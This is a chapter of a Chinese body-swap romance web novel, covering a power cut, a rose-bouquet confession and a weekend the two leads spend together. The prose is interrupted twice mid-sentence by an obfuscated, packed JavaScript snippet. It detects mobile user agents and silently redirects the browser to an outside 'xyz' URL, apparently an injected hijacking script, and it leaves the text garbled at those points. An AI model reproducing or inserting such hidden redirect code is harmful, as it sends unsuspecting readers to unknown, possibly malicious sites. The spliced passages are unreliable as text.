像无数只密密麻麻的小手在同时拉扯神经，大脑被放在了机器上挤压，剧烈收缩。 华可吟疼得侧过身体，把头埋进被子里。太阳穴传来突突跳动，让她忍不住握拳敲打自己的头以此缓解。 这场折磨持续了很久，久到华可吟后背生出层层冷汗，她的意识几乎要被非人的针刺疼痛感消磨殆尽，眼前才终于出现了熟悉的白光。 怎么会这么难受，这破互换什么时候才能结束... 华可吟缓了好久才恢复正常，再度睁眼，属于柏随远的身体果然也在床上如子宫里的婴儿般蜷缩着。 揉了揉脑袋，她连忙想找出手机和柏随远讨论痛感逐次增加的事，环顾四周却突然怔住。 这间屋子里的家具眼熟得要命。一样的跃层loft，一样的构造，一样的白色墙面，一样的浅木色书桌，甚至连从挑高窗朝外看的夜景都一模一样。 要不是柏随远家除家具以外空空荡荡，华可吟真的要怀疑这次没再互换。 手机在床头柜上，华可吟立马给柏随远发去消息。 —road：你家在哪？ —sing：xx公寓8109。 果然，华可吟家就在8108！ 怎么会这么巧。 华可吟深呼吸，强撑着继续执行原本各过各的计划。 —road：知道了 登陆云盘下载整理好的视频素材，上次互换时在柏随远的电脑里安装好了剪辑软件。刚点开软件就觉得这简直是多此一举，自己的电脑明明就在隔壁。 她叹了口气，随意披件外套穿着拖鞋走到楼道，感应灯随着脚步亮起，开门的正是自己的身体。 “你过去吧。”华可吟尽量让语气显得正常。没想到柏随远什么也没说，直接回到了隔壁。 坐在舒服的沙发上，温暖的灯光和沙发背上的狗狗玩偶让她放松不少，挠了挠头继续抱着电脑专心剪视频。 大约半小时，桌上的手机突然响了起来，来电显示“柏随远”。 “喂？” “我家好像停电了。” 华可吟看看客厅毫无异常的顶灯，又望向窗外灯火通明的夜景，“是不是跳闸？” “检查过了，电表正常，总闸也没问题。” “嗯。”华可吟不知道下一步该做什么，她又不是电工，“是要找管家吗？” “管家说明天早上才会有人来处理。”电话那边的声音顿了顿：“我今天可以先住在你家吗？”，紧接着他又补充一句：“空调开不了，我怕把你的身体冻感冒。” “行吧”，华可吟的手指无意识绕着发梢。 柏随远家里的电怎么回事，早不坏晚不坏，偏偏互换时坏，现在又要和对方待在同一空间里了。 半分钟后响起敲门声，华可吟开门，柏随远披着大衣，手提一个不小的袋子。 “进来吧。”她侧身让开。 柏随远走进客厅，道了声谢后很自然地坐在沙发上，从袋子里掏出本厚厚的教材安静看了起来。 华可吟看着对方舒服的姿势，不禁开口问：“没近视过的眼睛好用吗？” “嗯。”柏随远抬头，视线扫过华可吟鼻梁上的眼镜说：“其实还是有点不习惯。” 视频也剪得差不多了，华可吟取下眼镜揉了揉穴位，要打开电视时又想起旁边还在看书的柏随远，最终还是选择拿起手机玩。 书页翻动的声音停止了，柏随远将它放在茶几上，“想看电视就打开吧，我看完了。”她时不时瞄电视机的举动太明显。 “行。”华可吟瞬间喜笑颜开，白天有点忙，她还没来得及看电视剧更新呢。 柏随远起初不敢打扰华可吟看电视，可没多久就发现对方看手机的同时才抬头扫几眼电视，于是开口和她聊天：“你要提前去北京吗？” “20号”，华可吟果然不在乎看电视时被人打扰，随口就解释：“提前一天去就行。” “好。”柏随远回应一句之后就没再出声。 华可吟用余光看着电视里的宫女当上了女官，手下点进朋友圈，居然刷到程雨濛发的情人节照片——程雨濛和楚以诚在节日氛围浓厚的餐厅中的合照。 她想立马发消息问对方怎么进度如此之快，但在打字的前一秒发觉自己不应该打扰甜蜜的二人世界。 正好此时身边还有另一个认识两人的人，她挑眉问：“柏随远，上次那个楚以诚人怎么样啊？” 柏随远闻言眯了眯眼，听不出语气地回问：“你问他干什么？” 华可吟完全没注意对方的表情，手指放大了闺蜜照片里男方的脸仔细看。 柏随远听到刚才的询问后偷瞄过来，看到的就是她正一寸一寸细看楚以诚的照片。 “咳咳。” 华可吟被这两声咳嗽唤回了注意力：“我朋友和他在约会，就上次的程雨濛。” “这样啊。”柏随远声音好像轻松了点：“他是外语院的，人还可以。” 华可吟闻言点点头，本来就是多问一遍确认一下。她喃喃道：“这可真快。”没想到好闺蜜官宣如此迅速。 旁边的柏随远顿了顿，起身去给华可吟到了杯温水。 “谢谢。”华可吟接过喝了口后随手放在茶几上。两人虽然话不多，但由于几次的互换，相处时适应得很自然。 又一心两用地看了一阵电视，华可吟正回复表姐八卦的消息时突然听到一声“给。” 她以为又是一杯水，继续低头看着手机伸手去茶几上摸索，没想到手指触碰到扎扎的湿润触感。 她迅速收手抬头，居然是一束粉白交加的玫瑰花。13朵娇嫩欲滴的玫瑰高低交错，旁边还点缀了几株百合与大丽花，在灯光下泛着柔和的色泽。 “祝你拍杂志顺利。”柏随远递过花后又坐了回去。 华可吟抱住花束，看着对面耳朵全红，用书挡着脸的人，心跳越来越快：“今天送花是为了祝我下周的拍摄顺利？” “嗯。” “这样啊...”原本觉得害羞的华可吟再听到对方的回答后，反而觉得有些好笑，她反问：“真的吗？” “...”柏随远听到了她的笑声，依旧沉默了一阵才继续说：“可吟，你喜欢什么样的男生？” 原本还想看对方笑话的华可吟一听柏随远这个过分正经的语气，就不知道该怎么回答了：“就，高点帅点，人不错吧。” 柏随远点点头，转过头看着她问：“那我的人品怎么样？” 这几乎可以说是明示，华可吟被这种过分直白的态度击倒了，她转过头不敢再对上对方的眼神，小声说：“还行吧。” 只是还行吗...柏随远显然是不懂异性交往中有时会出现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448147|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害羞敷衍，他思索着怎么才能展示更多自己的优点。 还在等待对方下一句话的华可吟悄悄看过来，发现正皱着眉的柏随远。 这人怎么这么磨蹭，她只好自己把话题引回去：“还有上升空间，但...整体还不错吧。”她边说，边忍不住两条手臂撑在沙发上，小腿互相轻打缓解尴尬。 柏随远盯着她的动作，心里不知道想了多少事，最后眼神亮亮地看着她道：“那我不矮，也不丑吧？” 华可吟又又又一次选择了委婉的回答：“都还可以。” “是吗？”炽热的目光仿佛能融化一切，明明是自己的双眼，华可吟却从中感受到独属于柏随远的那份平静后的激动。 华可吟看到柏随远的表情，视线已经开始左右飘忽，紧盯着对方身后的粉色靠垫，细数上面的流苏才能勉强维持运转。 “可吟。”柏随远微哑的嗓音唤回了她的注意力，“要是有个和我差不多的男孩追你，你会给他一个机会吗？” 这句话像一颗石子投入平静的湖面，“啪”一声，8108房间的居然也在此刻完全熄灭了。没拉窗帘的落地玻璃映出屋外五彩的霓虹灯，月光交杂着暖光洒在屋里的两人身上，显得轮廓格外深。 她的手指下意识抚摸起手中的花朵，嗓子像是被什么糊住，脑袋也在此刻变成一堆浆糊。 安静的房间，独处的两人，隐蔽的环境里华可吟好像更清楚地听到了自己的心跳。 “要是和你一模一样...也许会考虑吧。” 唯一清明着的想法是，她并不排斥柏随远的告白。或者说，在看到花的那一刻她就已经设想到对方会说出类似的话。也许那些过分纠结的在意，就是她已经不自觉动心的证明。 “那你能给我本人一个机会吗？” 这下两人的对话不能继续装傻了，华可吟点头：“行呗。” 虽然到现在为止还没有要和谁在一起一辈子的想法，但遇到态度这么认真，自己又有点心动的男生，她的想法是那就试试吧。 也不知道柏随远谈起来恋爱是什么样，华可吟有点第一次答应告白的兴奋。 柏随远的语气也很温柔：“我可能不太会追人，不过接下来我会努力的。” “接下来干什么？”华可吟的音调变高了些。 柏随远却只顾着害羞，压根没注意到华可吟的表情，他继续说：“我以前没有喜欢的人，请你给我一个追你的机会。” 华可吟真没想到，此刻在只有两人的昏暗房间，柏随远的告白居然是以“给我一个追你的机会”结束的。这是要把“告白-追求-确定关系”的流程整体走一遍？天呐，现在年轻人谈恋爱的速度不应该很快的嘛。 不过想到柏随远的性格，对方一直都比同龄人正经不少。既然已经确定的心意，华可吟几乎是没有犹豫地放下花，上前一步抱了抱柏随远：“我允许你追我了。” 这个意外的拥抱很轻，柏随远的心脏仿佛快要跳出身体，他不敢抬手，两个人都僵在了原地。 “这感觉真怪。”华可吟把脸埋在对方头侧，“抱着自己的身体说这种话好奇怪。” 柏随远也低低地笑了，胸腔的震动透过虚贴的部分传来：“确实有点奇怪...” 华可吟低下头，没错，现在得低头才能看到柏随远的眼睛。 他注视着自己，眼睛里满是温柔。 华可吟听见自己的声音也柔柔的：“等换回来，你要好好追我。” “好。” 34. 夜色 黑暗笼罩整个房间，只有手机屏幕的微弱光线映出两张略显局促的脸。 两人并排坐在沙发上，中间隔着一道若有若无的距离。 华可吟低头看了眼手机，电量只剩下40%。她轻轻叹了口气，点开住户群，不少业主在群里抱怨这次的突然停电。 「朋友们，你们家都还有电吗？【玫瑰】【玫瑰】」 「我家也突然停了，我都怕电器烧坏。」 「物业呢？有没有人管！！！！@管家@管家@管家」 「@全体成员正在排查线路，预计需要几小时恢复，请大家耐心等待……」 「能不能快点，这大晚上的我还没洗漱呢！」 「别的楼都没事，怎么就这栋停电了？」 「不要骂小王了，也不是他的原因。@管家小王，姐挺你！」 “你家有厚被子吗？”虽然屋子里的温度暂时没有变化，但华可吟还是担心后半夜不开空调会受凉。这几天气温骤降，稍不留神就容易生病。 “没。” 打着手机的手电筒轻手轻脚上二楼，华可吟从衣柜底部拿出一套蓬松的羽绒被递给柏随远。 柏随远伸手接过，指尖不经意擦过了华可吟的手背。 他顿了顿，低头直接将被子铺在沙发上，动作利落极了，“我手机快没电了，还是和你一起吧，不然收不到物业消息。” “行。”华可吟微微低头，睫毛在月光下投出一道斜飞的阴影。 虽然感情刚刚升温，但两人现在的情况显然不适合做什么越界的亲密接触。她犹豫了一下，又补充：“睡床也行。” 柏随远整理被子的手蓦地停住，过了一会才小声说：“还是不用了。” 华可吟的脸“腾”一下烧了起来，她飞快留下一句“那快睡吧”，就沿着楼梯小跑回了二楼卧室。 把自己裹在被子里，像蚕蛹一样翻滚。她深吸一口气，忽然嗅到好像有股若有若无的淡淡木质香气。 柏随远身上的气味，好像是她上次送对方的那瓶香水。原来留香这么久。 之前在客厅里，空气流通，加上她的注意力一直被其他事情吸引，这股微弱的气息被忽略了。而现在，当她整个人埋进被窝，那股淡淡的香气便悄然钻入了鼻腔，提醒着她这具身体的归属。 她忍不住想象柏随远早晨出门时的样子。从柜子上拿起香水，轻轻按下喷头，香氛如薄雾般散在他微微仰头的颈侧... 这画面和平时严肃沉默的柏随远差别好大，华可吟的脸更烫了。她悄悄伸出手，试图用手背给自己的脸颊降温。 明明是很正常的动作，可华可吟在碰到脸颊的第一秒就察觉到以前未放在心上的触感。 和自己细腻柔软的皮肤不同，柏随远的脸摸起来有种更具韧性的光滑，华可吟忍不住用手指捏了捏，几乎拉不起一点皮肉。 终于闷不住了，华可吟一把掀开被子，张嘴大口呼吸新鲜空气。 根本睡不着... 她翻来覆去，心脏依旧跳得厉害，最后干脆拿起电量所剩无几的手机，给程雨濛发去简单的几个字：「柏随远说要追我」。 程雨濛果然没回复。华可吟抱着手机侧躺，脑袋里思绪乱飞。 柏随远... 柏随远... 她忽然坐起身，轻手轻脚爬到二层栏杆边，沿着透过纱帘的月光往下看。 一低头，正对上黑夜里另一双亮亮的眼睛。 偷看被抓个正着，华可吟有点不好意思：“怎么还没睡？” “睡不着。”他的声音带着一丝笑意。 “...嗯，快睡。”华可吟没敢问对方睡不着的原因，肯定和她一样。 再次逃荒般躺回床上，她还是忍不住借着月光观察了一会柏随远的手指，迷迷糊糊不知多久才入睡。 清晨，沉睡的身体被一股煎蛋香味唤醒，华可吟刚睁眼就被昨晚没拉紧的窗帘外的阳光刺了一下。 已经九点了，她揉着眼睛走下楼，沙发已经恢复原样，被子被整齐叠放在一旁。 “等下我去洗。” 华可吟连忙回头，看到“自己”正围着围裙，手里端了盘金黄的煎蛋，冲她微笑。 晨光暖暖，热腾腾的早饭，叠好的被子，站在餐桌前等待自己吃饭的追求者。这无疑是个无比温馨的画面——如果两人没互换的话。 看着自己的身体做出那种温柔的举动，华可吟忽然觉得，互换这种事不管发生多少次，都不会让人完全习惯。 “我还点了外卖。”柏随远放下煎蛋后把纸袋里的早餐一一往外拿。这家外卖的包子内馅多汁有味，柏随远还点了几个豆浆和烧麦。 华可吟家几乎没什么食材，冰箱里只有一点水果、鸡蛋，以及满满的饮用水。 她有时会来不及吃早饭，搬出来住后甚至连去学校食堂都不算顺路，像这样和别人一起坐在餐桌旁分享早餐的机会少之又少。 “电来了吧？”华可吟把最后一口包子塞进嘴巴后问。 “六点多修好的。”柏随远已经站起身收拾餐桌，清好垃圾后又端着碗筷去水龙头下冲洗。 华可吟看着对方自然的动作有点不好意思，他来自己家算是客人，她凑过去说：“我来吧。” “洗好了。”柏随远动作很麻利，三两下就冲洗好装鸡蛋的两个盘子，语气平静地说：“你去忙你的。” “...我也没什么要忙的。”华可吟嘴上这么说，身体却很诚实地坐回了电脑前。 剪视频是个耗费精力的工作，一期十几分钟的视频背后最多时甚至会有几十小时的素材，她独自运营账号的工作量实在不小。 背后的柏随远又把厨房的桌子擦了一遍，然后走到客厅要去拆洗被套。 两人房子的格局一样，自带的洗衣机位置和型号也一致，把被子放进去按一下按键不是什么费力的事。 华可吟听到动静，赶紧拦住了他：“先别洗吧，说不定这几天还要用呢。” 一说出口她就后悔了。 柏随远动作瞬间僵住，过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451852|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几秒才低低应了句：“好。” 完全沉浸的时候是感受不到时间的流逝的，很快到了该吃午饭的点。 柏随远看看华可吟操作屏幕认真的样子，还是决定不打扰对方了。他拿起手机直接定了上次和华可吟见面时吃的中餐馆，点了印象里她爱吃的几道菜。 直到管家敲门的声音响起，华可吟才发觉一转眼就到了中午。 怪不得大家都爱谈恋爱呢，有一个人照顾生活琐事工作效率真的很高。 下午的时间没再继续剪视频，本来就计划这几天休息，今天上午都算加班了。 “你要看什么吗？”华可吟调出电视里的电影列表，把遥控器递给柏随远。 “都行。”柏随远摇头没接，目光落在她的脸上：“你昨天好像说梦话了。” “什么？”华可吟猛地坐起来：“我说什么了？”说了什么能声音大到被柏随远听到。 “你说要补拍。” 华可吟捂着脸倒回沙发上碎碎念：“好丢人...” 低沉的笑声从耳边传来，华可吟感觉沙发微微震动。不知何时，两人之间的距离缩短了一半。 身旁传来清晰的温度，华可吟心跳有点快，她慌忙起身，把电视连接成主机外显，“嗯...不然我们打游戏吧，你想玩哪个？” 柏随远这次倒是认真了点，看了几个游戏封面后选了一个操作较难的动作游戏。 他以前几乎没怎么接触过电子游戏，刚开始转动视角时十分不习惯，华可吟又教了他一会操作后疑惑地问：“你不会晕3D吧？” “不晕。”柏随远拿着手柄语气平静，又练习了一阵才跟上华可吟的节奏。 双人游戏的操作急需配合，好在柏随远是个称职的队友，不久就掌握了要领。虽然有几次失误，但都不急不慢地调整过来，在华可吟偶尔失误时也能沉稳补救。 她觉得自己有恋爱脑征兆了，柏随远这操作还没程雨濛流畅，她却从对方身上看出点反差笨拙的可爱。 呵，恋爱... 电子游戏似鸦片，两人一玩就玩到晚饭时间，这次华可吟主动点了两份清淡的面食。现在的情况不适合出门，还不如在家隔离几天呢。 就这样如预料般宅过了周末两天，直到周天晚上，两人不得不面对明天的早课。 华可吟有点心虚，坐在柏随远旁边把他的课本和笔记都翻了一遍。柏随远可以上完早八后一起去他自己的第二节专业课旁听，但第一节课就要华可吟帮他上了。 “我能把每张ppt都拍下来吗？”华可吟小声问，怕自己手记跟不上进度。 “最好不要一直拍。”柏随远摇摇头。早八那节课的教授是个很老派的教师，反感同学们上课拍照，他语气温和地继续说：“别担心，少听一节课没什么的。” 华可吟瞥了他一眼，心里回想柏随远连公选课都一丝不苟记笔记的模样，少听一节课怕是会浑身难受。 她暗自决定明天一定要瞪大眼睛，把老师的ppt都刻进脑子里！